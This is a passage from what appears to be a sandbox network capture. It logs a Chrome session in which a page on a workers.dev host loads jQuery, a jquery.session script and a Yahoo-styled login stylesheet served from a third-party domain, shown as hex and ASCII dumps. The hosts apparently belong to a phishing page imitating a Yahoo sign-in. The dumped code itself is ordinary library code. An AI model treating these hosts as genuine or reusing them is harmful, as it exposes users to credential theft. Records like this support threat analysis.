5f 65 6c 65 6d 65 6e 74 2e 71 75 65 Data Ascii: f(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.que
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 42 Data Ascii: ring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	151.101.193.229	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:36 UTC	680	OUT	GET /npm/jquery.session@1.0.0/jquery.session.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:36 UTC	766	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2333 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.0.0 X-JSD-Version-Type: version ETag: W/"91d-mUGbC+S4VCL/hIcOVNvYpS3G2rE" Accept-Ranges: bytes Age: 1778929 Date: Sat, 27 Apr 2024 22:41:36 GMT X-Served-By: cache-fra-eddf8230025-FRA, cache-lga21969-LGA X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-27 22:41:36 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4d 69 6e 69 66 69 65 64 20 62 79 20 6a 73 44 65 6c 69 76 72 20 75 73 69 6e 67 20 55 67 6c 69 66 79 4a 53 20 76 33 2e 30 2e 32 34 2e 0a 20 2a 20 4f 72 69 67 69 6e 61 6c 20 66 69 6c 65 3a 20 2f 6e 70 6d 2f 6a 71 75 65 72 79 2e 73 65 73 73 69 6f 6e 40 31 2e 30 2e 30 2f 6a 71 75 65 72 79 2e 73 65 73 73 69 6f 6e 2e 6a 73 0a 20 2a 20 0a 20 2a 20 44 6f 20 4e 4f 54 20 75 73 65 20 53 52 49 20 77 69 74 68 20 64 79 6e 61 6d 69 63 61 6c 6c 79 20 67 65 6e 65 72 61 74 65 64 20 66 69 6c 65 73 21 20 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 73 64 65 6c 69 76 72 2e 63 6f 6d 2f 75 73 69 6e 67 2d 73 72 69 2d 77 69 74 68 2d 64 79 6e 61 6d 69 63 2d 66 69 6c 65 73 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e Data Ascii: /** * Minified by jsDelivr using UglifyJS v3.0.24. * Original file: /npm/jquery.session@1.0.0/jquery.session.js * * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files */!function
2024-04-27 22:41:36 UTC	955	IN	Data Raw: 69 73 2e 5f 63 6f 6f 6b 69 65 43 61 63 68 65 29 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 68 69 73 2e 5f 67 65 6e 65 72 61 74 65 50 72 65 66 69 78 28 29 2b 65 2b 22 3d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 22 3b 74 68 69 73 2e 5f 63 6f 6f 6b 69 65 43 61 63 68 65 3d 7b 7d 7d 2c 5f 64 65 6c 65 74 65 46 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 68 69 73 2e 5f 67 65 6e 65 72 61 74 65 50 72 65 66 69 78 28 29 2b 65 2b 22 3d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 22 2c 64 65 6c Data Ascii: is._cookieCache)document.cookie=this._generatePrefix()+e+"=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;";this._cookieCache={}},_deleteFallback:function(e){document.cookie=this._generatePrefix()+e+"=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;",del

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49763	199.36.158.100	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:36 UTC	634	OUT	GET /s.yimg.com/wm/mbr/53b2a2316b6797357929f67e8e301a70f6482597/yahoo-main.css HTTP/1.1 Host: validated.web.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:36 UTC	603	IN	HTTP/1.1 200 OK Connection: close Content-Length: 459108 Cache-Control: max-age=3600 Content-Type: text/css; charset=utf-8 Etag: "2b877ff0aec83ad183a12227a615078759150924caf751983e44cab667b12c65" Last-Modified: Sun, 18 Apr 2021 21:10:23 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:36 GMT X-Served-By: cache-lga21949-LGA X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257696.430755,VS0,VE216 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 59 61 68 6f 6f 20 53 61 6e 73 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 45 78 74 72 61 4c 69 67 68 74 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 45 78 74 72 61 4c 69 67 68 74 2e 65 6f 74 3f 23 69 65 66 69 78 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 68 74 74 70 73 3a 2f Data Ascii: @font-face{font-family:Yahoo Sans;font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.eot);src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.eot?#iefix) format("embedded-opentype"),url(https:/
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 5d 2c 2e 70 75 72 65 2d 67 72 6f 75 70 20 69 6e 70 75 74 5b 74 79 70 65 3d 77 65 65 6b 5d 2c 2e 70 75 72 65 2d 67 72 6f 75 70 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 2e 70 75 72 65 2d 67 72 6f 75 70 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 2e 70 75 72 65 2d 67 72 6f 75 70 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 2e 70 75 72 65 2d 67 72 6f 75 70 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 6f 6c 6f 72 5d 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 70 75 72 65 2d 66 6f 72 6d 2d 61 6c 69 67 6e 65 64 20 2e 70 75 72 65 2d 63 6f 6e 74 72 6f 6c 2d 67 72 6f 75 70 20 6c 61 62 65 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 33 65 6d Data Ascii: input[type=datetime-local],.pure-group input[type=week],.pure-group input[type=number],.pure-group input[type=search],.pure-group input[type=tel],.pure-group input[type=color]{margin-bottom:0}.pure-form-aligned .pure-control-group label{margin-bottom:.3em
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 66 7d 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 38 66 38 66 38 66 7d 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 38 66 38 66 38 66 7d 3a 2d 6d 73 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 38 66 38 66 38 66 7d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 62 37 62 37 62 37 7d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 62 37 62 37 62 37 7d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 62 37 62 37 62 37 7d 69 6e Data Ascii: f}:-moz-placeholder{color:#8f8f8f}::-moz-placeholder{color:#8f8f8f}:-ms-input-placeholder{color:#8f8f8f}input:disabled::-webkit-input-placeholder{color:#b7b7b7}input:disabled:-moz-placeholder{color:#b7b7b7}input:disabled::-moz-placeholder{color:#b7b7b7}in
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 65 2d 68 65 69 67 68 74 3a 38 39 36 70 78 29 20 61 6e 64 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 37 35 39 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 64 65 76 69 63 65 2d 77 69 64 74 68 3a 33 37 35 70 78 29 20 61 6e 64 20 28 64 65 76 69 63 65 2d 68 65 69 67 68 74 3a 38 31 32 70 78 29 20 61 6e 64 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 36 37 35 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 33 29 7b 68 74 6d 6c 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 34 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 62 6f 64 79 7b 70 6f 73 69 Data Ascii: e-height:896px) and (min-height:759px) and (-webkit-min-device-pixel-ratio:2),only screen and (device-width:375px) and (device-height:812px) and (min-height:675px) and (-webkit-device-pixel-ratio:3){html{padding-bottom:34px;box-sizing:border-box}body{posi
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 6f 77 2d 69 6e 74 65 72 73 74 69 74 69 61 6c 20 2e 62 6f 72 64 65 72 65 64 2d 62 6f 78 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 64 32 32 32 38 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 2e 79 61 6b 2d 6d 69 63 72 6f 73 69 74 65 2d 73 65 74 75 70 2c 2e 79 61 6b 2d 6d 69 63 72 6f 73 69 74 65 2d 73 65 74 75 70 20 2e 70 75 72 65 2d 67 20 5b 63 6c 61 73 73 2a 3d 70 75 72 65 2d 75 5d 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 7d 2e 79 61 6b 2d 6d 69 63 72 6f 73 69 74 65 2d 68 65 61 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 61 30 30 63 38 3b 7a 2d 69 6e 64 65 78 3a 35 7d 2e 79 61 6b 2d 6d 69 63 72 6f 73 69 74 65 2d 68 65 61 64 65 72 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 36 70 Data Ascii: ow-interstitial .bordered-box{background:#1d2228;border:none}.yak-microsite-setup,.yak-microsite-setup .pure-g [class*=pure-u]{font-family:sans-serif}.yak-microsite-header{background-color:#5a00c8;z-index:5}.yak-microsite-header .container{padding:8px 16p
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 32 30 32 2e 30 34 37 34 38 35 32 39 25 32 43 31 31 2e 36 38 33 37 38 37 33 25 32 30 43 33 2e 32 30 38 38 37 35 38 34 25 32 43 31 31 2e 36 38 33 37 38 37 33 25 32 30 34 2e 30 37 39 35 36 38 33 31 25 32 43 31 30 2e 38 32 36 39 34 38 33 25 32 30 34 2e 30 37 39 35 36 38 33 31 25 32 43 39 2e 37 39 35 33 38 36 39 36 25 32 30 43 34 2e 30 37 39 35 36 38 33 31 25 32 43 38 2e 37 37 39 37 38 33 35 31 25 32 30 33 2e 32 34 33 30 34 34 36 39 25 32 43 37 2e 39 37 30 34 39 32 33 35 25 32 30 32 2e 31 31 35 38 32 33 25 32 43 37 2e 39 37 30 34 39 32 33 35 25 32 32 25 32 30 69 64 25 33 44 25 32 32 46 69 6c 6c 2d 32 25 32 32 25 32 30 66 69 6c 6c 25 33 44 25 32 32 25 32 33 46 46 46 46 46 46 25 32 32 25 32 30 66 69 6c 6c 2d 72 75 6c 65 25 33 44 25 32 32 6e 6f 6e 7a 65 72 6f 25 Data Ascii: 202.04748529%2C11.6837873%20C3.20887584%2C11.6837873%204.07956831%2C10.8269483%204.07956831%2C9.79538696%20C4.07956831%2C8.77978351%203.24304469%2C7.97049235%202.115823%2C7.97049235%22%20id%3D%22Fill-2%22%20fill%3D%22%23FFFFFF%22%20fill-rule%3D%22nonzero%
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 2c 25 33 43 25 33 46 78 6d 6c 25 32 30 76 65 72 73 69 6f 6e 25 33 44 25 32 32 31 2e 30 25 32 32 25 32 30 65 6e 63 6f 64 69 6e 67 25 33 44 25 32 32 55 54 46 2d 38 25 32 32 25 33 46 25 33 45 25 30 41 25 33 43 73 76 67 25 32 30 77 69 64 74 68 25 33 44 25 32 32 32 30 70 78 25 32 32 25 32 30 68 65 69 67 68 74 25 33 44 25 32 32 32 30 70 78 25 32 32 25 32 30 76 69 65 77 42 6f 78 25 33 44 25 32 32 30 25 32 30 30 25 32 30 32 30 25 32 30 32 30 25 32 32 25 32 30 76 65 72 73 69 6f 6e 25 33 44 25 32 32 31 2e 31 25 32 32 25 32 30 78 6d 6c 6e 73 25 33 44 25 32 32 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 77 33 2e 6f 72 67 25 32 46 32 30 30 30 25 32 46 Data Ascii: url('data:image/svg+xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3Csvg%20width%3D%2220px%22%20height%3D%2220px%22%20viewBox%3D%220%200%2020%2020%22%20version%3D%221.1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 6e 2d 6c 61 79 6f 75 74 20 69 6e 70 75 74 2e 70 75 72 65 65 2d 62 75 74 74 6f 6e 2d 6c 69 6e 6b 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 31 70 78 7d 2e 6e 65 78 74 2d 67 65 6e 2d 6c 61 79 6f 75 74 20 2e 63 6f 75 6e 74 72 79 2d 63 6f 64 65 2d 64 72 6f 70 64 6f 77 6e 7b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 36 34 70 78 7d 2e 6e 65 78 74 2d 67 65 6e 2d 6c 61 79 6f 75 74 20 2e 72 65 6c 61 74 69 76 65 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 37 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 36 34 70 78 3b 68 65 69 67 68 74 3a 33 32 70 78 7d 2e 6e 65 Data Ascii: n-layout input.puree-button-link{letter-spacing:1px}.next-gen-layout .country-code-dropdown{opacity:0;position:absolute;width:64px}.next-gen-layout .relative-dropdown-container{position:absolute;margin-top:7px;border-bottom:none;width:64px;height:32px}.ne
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 6c 65 6e 67 65 2d 72 65 73 65 6e 64 2d 6c 69 6e 6b 2c 2e 63 68 61 6c 6c 65 6e 67 65 20 2e 63 68 61 6c 6c 65 6e 67 65 2d 72 65 73 65 6e 64 2d 6c 69 6e 6b 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 38 32 33 35 33 72 65 6d 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 32 33 35 33 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 72 65 6d 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 7d 2e 63 68 61 6c 6c 65 6e 67 65 20 2e 63 68 61 6c 6c 65 6e 67 65 2d 66 65 65 64 62 61 63 6b 2d 6c 69 6e 6b 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 67 65 6e 65 72 69 63 2d 70 61 67 65 20 2e 63 68 61 6c 6c 65 6e 67 65 2d 72 65 73 65 6e 64 2d 6c 69 6e 6b 2d 74 65 78 74 2c 2e Data Ascii: lenge-resend-link,.challenge .challenge-resend-link-text{margin-top:.82353rem;padding:0;font-size:.82353rem;line-height:1rem;white-space:normal}.challenge .challenge-feedback-link{display:block;text-align:center}.generic-page .challenge-resend-link-text,.
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 37 33 25 32 43 32 32 36 25 32 30 43 33 39 2e 36 37 34 31 38 31 38 25 32 43 32 32 36 25 32 30 34 30 25 32 43 32 32 36 2e 33 32 35 30 39 31 25 32 30 34 30 25 32 43 32 32 36 2e 37 32 37 32 37 33 25 32 30 4c 34 30 25 32 43 32 33 36 2e 39 30 39 30 39 31 25 32 30 43 34 30 25 32 43 32 33 37 2e 33 31 31 32 37 33 25 32 30 33 39 2e 36 37 34 31 38 31 38 25 32 43 32 33 37 2e 36 33 36 33 36 34 25 32 30 33 39 2e 32 37 32 37 32 37 33 25 32 43 32 33 37 2e 36 33 36 33 36 34 25 32 30 4c 32 34 2e 37 32 37 32 37 32 37 25 32 43 32 33 37 2e 36 33 36 33 36 34 25 32 30 5a 25 32 30 4d 33 38 2e 35 34 35 34 35 34 35 25 32 43 32 33 36 2e 31 38 31 38 31 38 25 32 30 4c 33 38 2e 35 34 35 34 35 34 35 25 32 43 32 33 30 2e 35 39 34 39 30 39 25 32 30 4c 33 32 25 32 43 32 33 33 2e 32 38 30 Data Ascii: 73%2C226%20C39.6741818%2C226%2040%2C226.325091%2040%2C226.727273%20L40%2C236.909091%20C40%2C237.311273%2039.6741818%2C237.636364%2039.2727273%2C237.636364%20L24.7272727%2C237.636364%20Z%20M38.5454545%2C236.181818%20L38.5454545%2C230.594909%20L32%2C233.280

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	151.101.2.137	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:36 UTC	718	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:36 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:36 GMT Age: 396321 X-Served-By: cache-lga21963-LGA, cache-iad-kiad7000130-IAD X-Cache: MISS, HIT X-Cache-Hits: 0, 238 X-Timer: S1714257696.408860,VS0,VE0 Vary: Accept-Encoding
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 